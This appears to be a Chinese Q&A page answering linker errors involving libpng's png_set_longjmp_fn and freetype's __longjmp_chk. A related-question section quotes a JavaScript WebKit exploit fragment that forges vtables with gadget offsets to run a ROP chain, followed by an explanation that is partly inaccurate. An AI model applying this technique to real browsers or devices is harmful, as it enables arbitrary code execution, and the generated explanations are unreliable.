undefined reference to `png_set_longjmp_fn'
时间: 2024-06-18 09:01:58 浏览: 316
当你在编译过程中遇到 "undefined reference to `png_set_longjmp_fn'" 错误时,这通常意味着链接器(linker)找不到你在源代码中引用的某个库函数的定义。`png_set_longjmp_fn` 是 libpng 库中的一个函数,用于设置 PNG 解码过程中的异常处理机制。
1. 出现这种错误的原因可能包括:
- 你可能忘记链接 libpng 库。确保在编译命令中使用 `-l png` 或类似的选项来链接 libpng。
2. 如果你在使用预处理器宏,比如 `#define PNG_SET_LONGJMP_FN(png_ptr, jmp_buf, setjmp_fn)`,确保在实际链接阶段,setjmp_fn 的实现被包含进目标文件中。
3. 如果你在不同的编译单元中声明了这个函数,但没有提供完整的实现,确保所有依赖它的部分都得到了正确的编译和链接。
相关问题
var fakeVtable_setjmp = p.malloc32(0x200); var fakeVtable_longjmp = p.malloc32(0x200); var original_context = p.malloc32(0x40); var modified_context = p.malloc32(0x40); p.write8(fakeVtable_setjmp.add32(0x0), fakeVtable_setjmp); p.write8(fakeVtable_setjmp.add32(0xA8), webKitBase.add32(OFFSET_WK_setjmp_gadget_two)); // mov rdi, qword ptr [rdi + 0x10] ; jmp qword ptr [rax + 8] p.write8(fakeVtable_setjmp.add32(0x10), original_context); p.write8(fakeVtable_setjmp.add32(0x8), libSceLibcInternalBase.add32(OFFSET_libcint_setjmp)); p.write8(fakeVtable_setjmp.add32(0x1C8), webKitBase.add32(OFFSET_WK_setjmp_gadget_one)); // mov rax, qword ptr [rcx]; mov rdi, rcx; jmp qword ptr [rax + 0xA8] p.write8(fakeVtable_longjmp.add32(0x0), fakeVtable_longjmp); p.write8(fakeVtable_longjmp.add32(0xA8), webKitBase.add32(OFFSET_WK_longjmp_gadget_two)); // mov rdi, qword ptr [rdi + 0x10] ; jmp qword ptr [rax + 8] p.write8(fakeVtable_longjmp.add32(0x10), modified_context); p.write8(fakeVtable_longjmp.add32(0x8), libSceLibcInternalBase.add32(OFFSET_libcint_longjmp)); p.write8(fakeVtable_longjmp.add32(0x1C8), webKitBase.add32(OFFSET_WK_longjmp_gadget_one)); // mov rax, qword ptr [rcx]; mov rdi, rcx; jmp qword ptr [rax + 0xA8] function launch_chain(chain) { chain.push(window.gadgets["pop rdi"]); chain.push(original_context); chain.push(libSceLibcInternalBase.add32(OFFSET_libcint_longjmp)); p.write8(textAreaVtPtr, fakeVtable_setjmp); textArea.scrollLeft = 0x0; p.write8(modified_context.add32(0x00), window.gadgets["ret"]); p.write8(modified_context.add32(0x10), chain.stack); p.write8(modified_context.add32(0x40), p.read8(original_context.add32(0x40))) p.write8(textAreaVtPtr, fakeVtable_longjmp); textArea.scrollLeft = 0x0; p.write8(textAreaVtPtr, textAreaVtable); }请解释以上代码?
以上代码中定义了一些变量和函数,并实现了一个名为`launch_chain(chain)`的函数。下面对每段代码进行解释:
1. 创建一些变量:
- `fakeVtable_setjmp`:分配了大小为0x200的内存块,用于构建伪造的`setjmp`函数的vtable。
- `fakeVtable_longjmp`:分配了大小为0x200的内存块,用于构建伪造的`longjmp`函数的vtable。
- `original_context`:分配了大小为0x40的内存块,用于保存原始的上下文信息。
- `modified_context`:分配了大小为0x40的内存块,用于保存修改后的上下文信息。
2. 对伪造的`setjmp`和`longjmp`函数的vtable进行填充:
- 设置`fakeVtable_setjmp`的第一个指针指向自身。
- 设置`fakeVtable_setjmp`的第二个指针指向一个gadget,用于构建ROP链中的`setjmp`操作。这个gadget从rdi寄存器中读取一个地址,并跳转到该地址。
- 设置`fakeVtable_setjmp`的第三个指针指向原始上下文的地址。
- 设置`fakeVtable_setjmp`的第四个指针指向真正的`setjmp`函数。
类似地,对`fakeVtable_longjmp`进行填充,但是使用的是针对`longjmp`函数的gadget和地址。
3. `launch_chain(chain)`函数用于执行ROP链。它接受一个`chain`参数,该参数是一个数组,包含了一系列的ROP操作。函数首先将一些指令(gadgets)和地址推入`chain`数组,以便在ROP链中使用。
接下来,函数通过修改`textAreaVtPtr`的值为`fakeVtable_setjmp`,将伪造的`setjmp`函数的vtable应用到`textArea`对象上。然后,通过设置`textArea`的`scrollLeft`属性为0,触发执行伪造的`setjmp`函数。
继续执行时,将修改后的上下文地址和真正的`longjmp`函数地址推入`chain`数组。然后,将`modified_context`中的一些字段进行修改,以准备执行ROP链。
接下来,将`textAreaVtPtr`的值修改回原始的vtable地址,并触发执行伪造的`longjmp`函数。
这样,通过修改对象的vtable和触发特定的函数调用,实现了ROP链的执行,从而达到对目标系统进行特定操作的目的。
unknown symbol: __longjmp_chk referenced from libfreetype.so.6
这个错误信息出现在使用 libfreetype.so.6 库时,提示某个未知符号 __longjmp_chk 的引用。具体表现是在编译或链接时出现错误,程序无法正常生成可执行文件。__longjmp_chk 是一个检查跨函数 longjmp() 的缓冲区溢出的机制,多数情况下是 glibc 库提供的。因此,应该是出现了 glibc 库与 freetype 库版本不兼容的问题所导致的。
为了解决这个错误,我们可以尝试更新 glibc 库或者降级 freetype 库,以找到一个版本兼容的组合。还可以在编译时指定链接选项“--no-as-needed”来强制链接相关库文件,以避免被意外跳过。
总之,解决这个问题需要对 Linux 库系统有一定的了解,同时要注意版本兼容性问题。
阅读全文